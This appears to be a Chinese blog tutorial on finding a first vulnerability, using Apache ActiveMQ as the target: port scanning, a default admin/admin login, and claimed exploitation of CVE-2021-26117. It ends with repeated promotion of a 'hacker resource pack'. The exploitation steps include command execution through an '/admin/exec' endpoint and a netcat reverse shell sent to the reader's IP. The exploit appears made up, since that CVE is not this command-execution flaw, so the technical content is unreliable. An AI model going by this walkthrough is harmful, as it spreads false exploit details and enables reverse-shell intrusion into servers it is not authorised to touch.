新手如何挖掘第一个漏洞（非常详细）零基础入门到精通，收藏这一篇就够了

前言

挖掘漏洞是信息安全领域的核心技能之一，对于新手来说，理解如何发现和利用漏洞是一个至关重要的学习过程。本文将通过一个具体的案例，带你一步步学习如何挖掘并利用漏洞。我们将以 Apache ActiveMQ 的漏洞为例，详细解析从发现到利用的全过程。

步骤一：端口扫描与服务识别

首先，我们需要对目标网站或服务器进行端口扫描，以确定开放的端口和运行的服务。这是信息收集阶段的重要环节，可以帮助我们确定潜在的攻击点。

\# 使用 Nmap 进行端口扫描  
nmap -sV -p- \[目标IP\]  
  
\# 示例输出  
PORT     STATE SERVICE  VERSION  
22/tcp   open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)  
80/tcp   open  http     Apache httpd 2.4.18 ((Ubuntu))  
8161/tcp open  http     Apache ActiveMQ

从扫描结果中，我们注意到 Apache ActiveMQ 服务运行在 8161 端口。这引起了我们的兴趣，因为 Apache ActiveMQ 是一个消息队列系统，可能存在未修补的漏洞。

步骤二：访问服务并识别漏洞

接下来，我们使用浏览器或代理工具访问 8161 端口，看看是否可以直接访问管理界面。

\# 在浏览器中访问  
http://\[目标IP\]:8161  
  
\# 使用 curl 访问  
curl -I http://\[目标IP\]:8161

我们发现可以直接访问管理界面，并且页面显示的版权年份是 2005-2015，表明该服务可能已经很久没有更新了。

点击 “Manage” 按钮后，我们被要求输入用户名和密码。在这种情况下，尝试默认的弱口令往往是一个有效的策略。

\# 尝试默认的弱口令  
username: admin  
password: admin

幸运的是，我们成功进入了管理界面，并发现 Apache ActiveMQ 的版本是 5.15.11。

步骤三：查找并利用已知漏洞

知道服务版本后，我们可以查找对应版本的已知漏洞。在本例中，Apache ActiveMQ 5.15.11 存在一个已知的远程代码执行漏洞 CVE-2021-26117。

漏洞描述: 该漏洞允许远程攻击者在未授权的情况下通过管理界面执行任意代码。

修复建议: 建议升级到安全版本：

• Apache ActiveMQ Artemis >= 2.16.0

• Apache ActiveMQ >= 5.16.1

• Apache ActiveMQ >= 5.15.14

我们将利用这个漏洞来执行任意代码。在利用漏洞之前，确保你在合法的授权下进行测试。

步骤四：漏洞利用

根据漏洞 CVE-2021-26117，我们可以通过管理界面上传或执行恶意脚本来获得服务器的访问权限。

\# 利用漏洞执行命令  
curl -X POST --data 'command=run&arg=whoami' http://\[目标IP\]:8161/admin/exec

如果成功，你会看到服务器返回的命令执行结果。

步骤五：获取反向 Shell

在实际的漏洞利用过程中，我们通常希望获得一个持久的访问权限。我们可以通过上传一个反向 shell 来实现这一目标。

\# 使用 netcat 启动监听  
nc -lvp 4444  
  
\# 在目标服务器上执行反向 shell  
curl -X POST --data 'command=run&arg=nc -e /bin/bash \[你的IP\] 4444' http://\[目标IP\]:8161/admin/exec

当反向 shell 成功连接时，你将在本地机器上获得一个目标服务器的 shell 访问权限。

总结

通过以上步骤，我们成功地从信息收集、端口扫描、漏洞识别到最终的漏洞利用，完成了一个完整的漏洞挖掘过程。对于新手来说，关键在于理解每个步骤的目的和方法，并在实践中不断提升自己的技能。

注意事项

• 合法性: 只有在获得合法授权的情况下才能进行漏洞挖掘和测试。

• 安全性: 始终在受控环境中测试漏洞，不要在生产环境中进行未经授权的操作。

• 学习与提高: 漏洞挖掘需要不断学习和实践，关注最新的漏洞信息和安全工具。

安全测试有风险，操作需谨慎。如需复现漏洞，请在本地搭建测试环境进行。

希望这篇文章能帮助你在漏洞挖掘的道路上迈出第一步！

更多资源:

• Apache ActiveMQ 官方文档

• Nmap 官方文档

• CVE-2021-26117 详情

黑客&网络安全如何学习

今天只要你给我的文章点赞，我私藏的网安学习资料一样免费共享给你们，来看看有哪些东西。

1.学习路线图

攻击和防守要学的东西也不少，具体要学的东西我都写在了上面的路线图，如果你能学完它们，你去就业和接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源，但基本上都残缺不全的，这是我自己录的网安视频教程，上面路线图的每一个知识点，我都有配套的视频讲解。

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等，都是网络安全入门必知必会的学习内容。

（都打包成一块的了，不能一一展开，总共300多集）

因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取

CSDN大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享

3.技术文档和电子书

技术文档也是我自己整理的，包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点，电子书也有200多本，由于内容的敏感性，我就不一一展示了。

因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取

CSDN大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等，感兴趣的同学不容错过。

还有我视频里讲的案例源码和对应的工具包，需要的话也可以拿走。

因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取

CSDN大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享

最后就是我这几年整理的网安方面的面试题，如果你是要找网安方面的工作，它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的，如果大家有好的题目或者好的见解欢迎分享。

参考解析：深信服官网、奇安信官网、Freebuf、csdn等

内容特点：条理清晰，含图像化表示更加易懂。

内容概要：包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取

CSDN大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享